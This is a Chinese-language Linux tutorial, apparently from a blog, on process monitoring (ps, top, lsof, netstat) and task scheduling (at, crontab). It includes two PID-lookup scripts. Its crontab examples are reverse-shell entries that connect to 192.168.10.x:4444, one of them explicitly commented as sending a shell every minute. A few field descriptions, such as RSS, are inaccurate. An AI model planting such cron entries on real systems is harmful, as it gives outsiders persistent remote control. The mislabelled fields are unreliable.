目录
一:监视系统进程(ps 、top)
程序:保存在硬盘、光盘等介质中的可执行代码和数据,静态保存的代码
进程:在cpu及内存中运行的程序代码,动态执行的代码,每个进程可以有多个子进程(线程)
PID : 标识进程的唯一标识
ps:静态查看系统进程
top:动态查看系统进程
pgrep:表示查看指定服务的PID 如: pgrep httpd 查看httpd服务的PID
- -u 表示查看指定用户的进程信息 比如:pgrep -u named httpd
第一个参数named为named用户,第二个参数表示进程名称为 httpd ,表示查看named用户的httpd进程的PID。与 ps -aux | grep httpd 同样的作用
pstree:以树状结构显示进程的关联信息
进程后台管理
- Ctrl+z 前台进程调入后台,挂起,进程并没有死,只是卡在那里
- Ctrl+c 结束进程
- jobs 查看后台进程
- fg 3 将后台第3个进程在前台运行(不加数字时,jobs程序上为‘+’的程序优先被调回)
- bg 2 将后台第2个进程在后台运行(不加数字时,jobs程序上为‘+’的程序优先被调回)
- & 直接将进程放在后台运行
- kill 向进程发送信号,不加参数时,默认发送 kill 信号 。强制杀掉进程: kill -s 9 PID 这里是 -s 9 参数的作用的传递给进程的信号是9,即强制终止,结束进程
- killall 杀死同一命令的所有进程
top : 反应系统进程动态信息,默认每3秒更新一次,顶部始终显示系统当前最活跃的进程,此时还可以接受用户的键盘输入向进程发送信号等待
- PID:进程ID
- USER:运行进程的用户
- PR:系统默认的优先级,PR总是比NI大20
- NI:用户可以修改的优先级。范围从-20~19 ,数字越小值越大。当进程已经运行时,可以使用 renice 命令修改其优先级:renice -n -20 PID 。当进程没运行时,可以使用 nice -n 20 httpd 开启进程的时候指定优先级
- VIRT:虚拟内存
- RES: 当前进程使用的内存
- SHR:共享内存
- S : 状态 S(sleep) 或者 R(running)
- %CPU:进程所占CPU的比重
- %MEM: 进程所占内存的比重
- Time : 进程运行的时间
- COMMAND: 进程的指令
此时输入 u 键,然后输入 root 并按回车键,则此时输出信息显示root所占资源信息
如果输入的是 k,然后输入你要杀死的进程ID,连续回车两次,那个进程就被杀掉了
如果输入的是 M ,表示按照内存占用情况排序
如果输入的是 P ,表示按照CPU占用情况排序
ps : ps是Process Status的缩写,用来列出系统中当前运行的那些进程。ps命令列出的是当前进程的快照,就是执行ps命令这个时刻的进程,与 top 不同的是,ps 是静态查看进程
- PID:运行着的进程的ID;
- TTY:命令所运行的位置
- TIME:运行着的该命令所占用的CPU处理时间
- CMD:该进程所运行的命令
ps aux :
- a 选项表示查看所有进程信息
- u 选项表示显示进程所属的用户信息
- x 选项表示显示默认信息以外的信息
ps -ef
- e参数代表全部进程
- f参数代表全格式
UID :运行进程的用户
PID :进程的编号
%CPU:进程所占CPU的比重
%MEM: 进程所占内存的比重
VSZ: 虚拟内存
RSS:共享内存
TTY:当前是否有终端登录,?表示没有
STAT:
S:当前状态为睡眠状态
s:当前进程有多个子进程
l:当前进程可能会开启多个子进程
R:当前进程正在运行中
+:表示这个进程在前台运行
Z:表示僵尸进程
<:表示当前进程优先级高
START : 进程开始的时间
Time : 进程运行的时间
COMAND : 进程的命令所在的目录
有关于 ps aux和ps -ef的区别:聊聊 ps aux 和 ps -elf
结果默认是未排好序的,如果想通过cpu使用情况来排序,可以加参数: --sort -pcpu
如果想通过内存来排序,可以加参数: --sort -pmem
如果想通过进程开启时间来排序,可以加参数,--sort=lstart ,从最开始启动的进程排序到最后启动的进程
根据用户来筛选进程: ps -u root
根据进程名筛选: ps -C gnome-shell
根据进程筛选: ps -L 613
显示安全信息,如果想要查看有谁登陆了你的服务器,可以使用 ps -eo pid,user,args
-e显示所有进程信息,-o参数控制输出, pid,user,args显示应用的PID,运行应用的用户和该应用
实时监控进程状态 watch -n 5 ' ps -aux --sort -pmem ' 。意思是每隔5秒按照内存排序查看进程信息
一个根据PID过滤的出当前PID所对应的进程的信息的脚本
#! /bin/bash
# Author:谢公子
# Date:2018-10-10
# Function: 根据用户输入的PID,过滤出该PID所有的信息
read -p "请输入要查询的PID: " P
n=`ps -aux| awk '$2~/^'$P'$/{print $11}'|wc -l`
if [ $n -eq 0 ];then
echo "该PID不存在!!"
exit
fi
echo "--------------------------------"
echo "进程PID: $P"
echo "进程命令:`ps -aux| awk '$2~/^'$P'$/{print $11}'`"
echo "进程所属用户: `ps -aux| awk '$2~/^'$P'$/{print $1}'`"
echo "CPU占用率:`ps -aux| awk '$2~/^'$P'$/{print $3}'`%"
echo "内存占用率:`ps -aux| awk '$2~/^'$P'$/{print $4}'`%"
echo "进程开始运行的时刻:`ps -aux| awk '$2~/^'$P'$/{print $9}'`"
echo "进程运行的时间:`ps -aux| awk '$2~/^'$P'$/{print $10}'`"
echo "进程状态:`ps -aux| awk '$2~/^'$P'$/{print $8}'`"
echo "进程虚拟内存:`ps -aux| awk '$2~/^'$P'$/{print $5}'`"
echo "进程共享内存:`ps -aux| awk '$2~/^'$P'$/{print $6}'`"
echo "--------------------------------"
脚本运行截图,输入PID 即可查看PID所对应的进程信息
一个根据进程名过滤出当前进程所有PID进程的信息
#! /bin/bash
# Author:谢公子
# Date:2018-10-10
# Function: 根据输入的程序的名字过滤出所对应的PID,并显示出详细信息,如果有几个PID,则全部显示
read -p "请输入要查询的进程名:" NAME
N=`ps -aux | grep $NAME | grep -v grep | wc -l` ##统计进程总数
if [ $N -le 0 ];then
echo "该进程名没有运行!"
fi
i=1
while [ $N -gt 0 ]
do
echo "进程PID: `ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $2}'`"
echo "进程命令:`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $11}'`"
echo "进程所属用户: `ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $1}'`"
echo "CPU占用率:`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $3}'`%"
echo "内存占用率:`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $4}'`%"
echo "进程开始运行的时刻:`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $9}'`"
echo "进程运行的时间:` ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $11}'`"
echo "进程状态:`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $8}'`"
echo "进程虚拟内存:`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $5}'`"
echo "进程共享内存:`ps -aux | grep $NAME | grep -v grep | awk 'NR=='$i'{print $0}'| awk '{print $6}'`"
echo "***************************************************************"
let N-- i++
done
脚本运行截图,输入进程名即过滤出该进程名所对应的所有线程的信息
二:查看网络连接信息 (netstat)
netstat : 该命令用于显示各种网络相关信息,如网络连接,路由白边,接口状态,masquerade 连接,多播成员等
命令的输出有两部分,第一部分是Active Internet connections,称为有源TCP连接,
其中"Recv-Q"和"Send-Q"指的是接收队列和发送队列,这些数字一般都应该是0,如果不是则表示软件包正在队列中堆积。
第二部分是Active UNIX domain sockets,称为有源 Unix 域套接口(和网络套接字一样,但是只能用于本机通信,性能比网络套接字高一倍)。
- Proto 表示连接使用的协议
- RefCnt 表示连接到本套接字口上的进程号
- Types 表示套接口的类型:STREAM表示TCP套接字,DGRAM表示UDP套接字
- State 表示套接口当前的状态
- Path 表示连接到套接口的进程所使用的路径名。
注:netstat命令默认是不显示 LISTEN 状态的网络连接和 LISTEING 状态的 UNIX 域连接,只有使用带 -a 或者 -l 参数的命令才能显示
命令参数
- -a (all)显示所有状态的连接
- -l 列出有在监听状态的连接
- -t (tcp) 显示tcp相关连接
- -u (udp) 显示udp相关连接
- -n 拒绝显示别名,能显示数字的全部转化成数字。
- -p 显示建立相关链接的程序名
- -r 显示路由信息,路由表
- -e 显示扩展信息,例如uid等
- -s 按各个协议进行统计
- -c 每隔一个固定时间,执行该netstat命令
常用命令
netstat -pantu : 查看计算机和网络中的哪些计算机产生了连接
netstat -pantu | grep 80 : 查看http服务(80端口)是否开启
三:文件进程、端口关联(lsof)
lsof : (list open files)是一个列出当前系统进程打开文件的工具。在linux环境下,任何事物都以文件的形式存在,通过文件不仅仅可以访问常规数据,还可以访问网络连接和硬件。所以如传输控制协议(TCP)和用户数据报协议(UDP)套接字等,系统在后台都为该应用程序分配了一个文件描述符FD(文件描述符位置 /proc/PID/fd/ ),无论这个文件的本质如何,该文件描述符为应用程序与基础操作系统之间的交互提供了通用接口。因为应用程序打开文件的描述符列表提供了大量关于这个应用程序本身的信息,因此通过lsof工具能够查看这个列表对系统检测以及排错将是很有帮助的
- COMMAND:进程的名称
- PID:进程标识符
- USER:进程所有者
- FD:文件描述符,应用程序通过文件描述符识别该文件。如cwd、txt等
- TYPE:文件类型,如DIR、REG等
- DEVICE:指定磁盘的名称
- SIZE:文件的大小
- NODE:索引节点(文件在磁盘上的标识)
- NAME:打开文件的确切名称
常用命令
- lsof | grep abc.txt 显示开启文件abc.txt的进程
- lsof -c abc 显示abc进程现在打开的文件
- lsof -p 1234 列出进程号为1234的进程所打开的文件
- lsof -g gid 显示归属gid的进程情况
- lsof +d /usr/local/ 显示目录下被进程开启的文件
- lsof +D /usr/local/ 同上,但是会递归搜索目录下的目录
- lsof -d 4 显示使用文件描述符为4的进程
- lsof -i:端口号 用以显示符合条件的进程情况
lsof -p 699 #显示PID为699的进程打开的所有文件
显示与22端口有关的进程
lsof -i:22 #打开所有与22端口有关的进程
ls -lh /proc/699/exe #显示PID为699的进程的启动程序
cp /proc/699/exe 1 #复制PID为699的进程的启动程序为1
四:计划任务管理(at 、crontab)
at
at :一次性计划任务 ,服务脚本 /etc/init.d/atd (rhel6) /usr/lib/systemd/system/atd(rhel7)
设置格式:
- at 20:00 今天20:00
- at 3am+2days 两天后的凌晨三点
- at now+30minutes 30分钟后
- at 3:00 2015-7-17
结束:ctrl + d
查询 :atq 或 at -l
删除 :atrm 2
查询指定计划任务内容:at -c 2
有关时间的文章:date命令查看时间
crontab
crontab:周期性计划任务,按照预先设置的时间周期执行用户指定命令的操作
主要配置文件
- 全局配置文件 /etc/crontab 、 /etc/cron.d/ 目录内的文件
- 黑名单文件:/etc/cron.deny 白名单文件:/etc/cron.allow (默认是没有的,用户可自己创建,但是创建了之后就要指定用户),白名单优先级大于黑名单
- 用户定义的配置文件 /var/spool/cron/ 用户名
crond每分钟去/etc/cron.d目录里面搜索配置文件,里面有一个0hourly文件,里面写了01 * * * * root run-parts /etc/cron.hourly。是每隔1小时去运行一次/etc/cron.hourly目录,该目录下面有一个0anacron文件,这样0anacron文件就能每小时运行一次。0anacron按照/etc/anacrontab文件里面的配置,将当前时间与/var/spool/anacron目录下面的文件里面的时间戳作对比,如果需要则去运行/etc/anacrontab对应的条目。这也是为什么/etc/anacrontab文件里面只定义了cron.daily、cron.weekly与cron.monthly,而没有定义cron.hourly,因为cron.daily、cron.weekly与cron.monthly其实是由cron.hourly调起来的。每小时运行的0anacron只负责进行时间戳的比对,如果当前日期和上次运行anacron的日期不符,说明系统停机过了,就会启动anacron这支程序,再由anacron根据/etc/anacrontab配置进一步判断,然后去运行cron.daily、cron.weekly与cron.monthly里面未完成的任务
/etc/crontab 文件只能由 root 用户编辑修改,crontab文件里存放着定时任务,crontab里面的定时任务需要指定用户。cron服务不仅每分钟要读一次 /var/spool/cron 内的所有文件,还需要读一次/etc/crontab 配置文件,因此我们配置这个文件也能运用 cron 服务做一些事情。用crontab -e进行的配置是针对某个用户的,而编辑/etc/crontab是针对系统的任务。我们也可以在里面添加针对用户的定时任务,此文件的文件格式是格式如下
* * * * * root /bin/bash -i>&/dev/tcp/192.168.10.22/4444 0>&1
/etc/cron.d 是一个目录,目录内存放着一些定时任务。只有root用户有权限在该目录下创建定时任务文件,该目录下的定时任务需要指定用户,格式如下
* * * * * root /bin/bash -i>&/dev/tcp/192.168.10.22/4444 0>&1
/etc/cron.(hourly/daily/weekly/monthly) 是四个目录,目录内存放着一些定时任务。只有root用户有权限在该目录下创建定时任务文件,这四个目录下的定时任务格式如下,直接写脚本文件即可。创建完成后,需要赋予该文件可执行权限x。这四个目录/etc/cron.(hourly/daily/weekly/monthly)下的脚本分别每小时、每天、每周、每月执行。
/bin/bash -i>&/dev/tcp/192.168.10.22/4444 0>&1
编辑计划任务: crontab -e -u 用户名 此命令会在 /var/spool/cron 下创建一个以用户名为文件名的定时任务文件
查看计划任务: crontab -l -u 用户名
删除计划任务: crontab -r -u 用户名
注:如果没有指定用户名,则默认为当前用户
编辑计划任务
有6个参数,分别代表 分、时、天、月、周、要执行的命令 。如果打开的时候没指定用户名,则这里也不需要写用户名,代表当前编辑用户
.---------------- minute (0 - 59)
| .------------- hour (0 - 23)
| | .---------- day of month (1 - 31)
| | | .------- month (1 - 12) OR jan,feb,mar,apr ...
| | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
| | | | |
* * * * * command
*号代表每一 ,比如
*/5 * 15-20 7-8 3-4 command 每五分钟,每一个小时,一个月的15-20号,一年的7-8月,一周的周3-周四 执行命令
这里的command命令可以是一个可执行文件的路径
例:
在/bin/下有一个1.sh的脚本文件, 其内容是 cp /var/log/messages /tmp/log.`date +%F:%H:%M`
意思是备份日志文件到tmp目录,并且以当前的时间命名
然后我们创建一个周期性任务
*/2 0-6 28-30 * * /bin/1.sh
#这个计划任务就是每个月的27-30号的,每天的0-6点,每隔两分钟备份一次日志文件并以当前的时间命名
*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.10.27/4444 0>&1
#每隔一分钟,向192.168.10.27的4444号端口发送shell
相关文件:Linux下磁盘分区、卸载和磁盘配额
Linux下性能监控、守护进程与计划任务管理的更多相关文章
-
Linux 下Qt实现守护进程实例(转)
原文地址:Linux守护进程的编程方法(含实例) 作者:lingdxuyan 参考文献 Linux信号列表(zz) Linux 守护进程的编程方法 linux上编写守护进程的例程 Linux下后台守 ...
-
Linux下一个简单守护进程的实现 (Daemon)
在Linux/UNIX系统引导的时候会开启很多服务,这些服务称为守护进程(也叫Daemon进程).守护进程是脱离于控制终端并且在后台周期性地执行某种任务或等待处理某些事件的进程,脱离终端是为了避免进程 ...
-
Linux下性能监控的三把军刀
Linux主机怎么管,十八般兵器件件都可以算得上是瑞士军刀,称手的兵器一两件即可,最常用的,莫过于stat家族三兄弟吧. 计算机主要资源是什么?CPU.内存和磁盘?尽管现在云计算技术有多普及,查看一个 ...
-
Linux下tomcat作为守护进程运行(开机启动、以指定的用户运行、解决非root身份不能绑定1024以下端口的问题)的配置方法
如题. 参考资料: http://www.jdiy.org/read.jd?id=y0haaynq1w http://blog.csdn.net/shw2004/article/details/578 ...
-
linux 服务器性能监控(一)
这篇文章主要介绍一些常用的linux服务器性能监控命令,包括命令的常用参数.指标的含义以及一些交互操作. 几个问题 命令本身并不复杂,关键是你对操作系统基础知识的掌握和理解,先来看看下面几个问题: C ...
-
Linux系统管理10——进程和计划任务管理
Linux系统管理10——进程和计划任务管理 一.程序和进程的关系 1.程序 ·保存在硬盘.光盘等介质中的可执行代码和数据 ·静态保存的代码 2.进程 ·在CPU及内存中运行的程序代码 ·动态执行的代 ...
-
Linux系统——进程和计划任务管理
进程和计划任务管理 一.进程和程序的关系 进程:在CPU及内存中运行的程序代码:动态执行的代码:每个进程可以创建一个或多个进程 程序:保存在硬盘.光盘等介质中的可执行代码和数据:静态保存的代码 二.基 ...
-
Java生产环境下性能监控与调优详解视频教程 百度云 网盘
集数合计:9章Java视频教程详情描述:A0193<Java生产环境下性能监控与调优详解视频教程>软件开发只是第一步,上线后的性能监控与调优才是更为重要的一步本课程将为你讲解如何在生产环境 ...
-
Linux下查看某一进程所占用内存的方法
Linux下查看某一个进程所占用的内存,首先可以通过ps命令找到进程id,比如 ps -ef | grep kafka 可以看到kafka这个程序的进程id 可以看到是2913,现在可以使用如下命令查 ...
随机推荐
-
推荐流程设计器http://www.processon.com/
以前一直用的Rational Rose进行类图,流程设计,最近发现了ProcessOn使用了下,感觉很好用,相比rose 1.有中文说明,rose全专业英文,理解起来比较费劲: 2.直线比较直,ros ...
-
CentOS6 下MySQL option file
my.cnf内容如下 # For advice on how to change settings please see # http://dev.mysql.com/doc/refman/5.6/e ...
-
JavaScript实现div宽、高自动缓慢拉伸
最近打算实现一个带有滤镜效果的地自动拉伸图片.发现使用css3浏览器兼容性得需要特别关注.这里我使用js实现了一个div边框自动拉伸和缩小.源码如下: <!DOCTYPE html>< ...
-
opencv-python与c++ opencv中的一些区别和基础的知识
使用opencv-python一段时间了,因为之前没有大量接触过c++下的opencv,在网上看c++的一些程序想改成python遇到了不少坑,正好在这里总结一下. 1.opencv 中x,y,hei ...
-
PS对街拍女孩照片增加质感
看到原图时,我的内心是抗拒的,灰蒙蒙毫无质感可言,手机app大概都拍得比这好看(捂脸笑哭). 大概是因为偏背光,光线暧昧不够强烈,且50 1.4这只镜头锐度还欠佳的缘故.所以平时3天修完图的我,这次拖 ...
-
Druid Monitor开启登录界面
<!-- druid --> <filter> <filter-name>druidWebStatFilter</filter-name> <fi ...
-
精选10款超酷的HTML5/CSS3菜单
今天向大家精选了10款超酷的HTML5/CSS3菜单,给你的网页添加不一样的精彩,一起来围观一下吧. 1.CSS3手风琴菜单 下拉展开带弹性动画 利用CSS3技术可以实现各种各样的网页菜单,我们之前也 ...
-
【刷题】BZOJ 3930 [CQOI2015]选数
Description 我们知道,从区间[L,H](L和H为整数)中选取N个整数,总共有(H-L+1)^N种方案.小z很好奇这样选出的数的最大公约数的规律,他决定对每种方案选出的N个整数都求一次最大公 ...
-
git status中文文件名编码问题解决
在默认设置下,中文文件名在工作区状态输出,中文名不能正确显示,而是显示为八进制的字符编码. 通过将git配置变量 core.quotepath 设置为false,就可以解决中文文件名称在这些Git命令 ...
-
Consumer
Description FJ is going to do some shopping, and before that, he needs some boxes to carry the diffe ...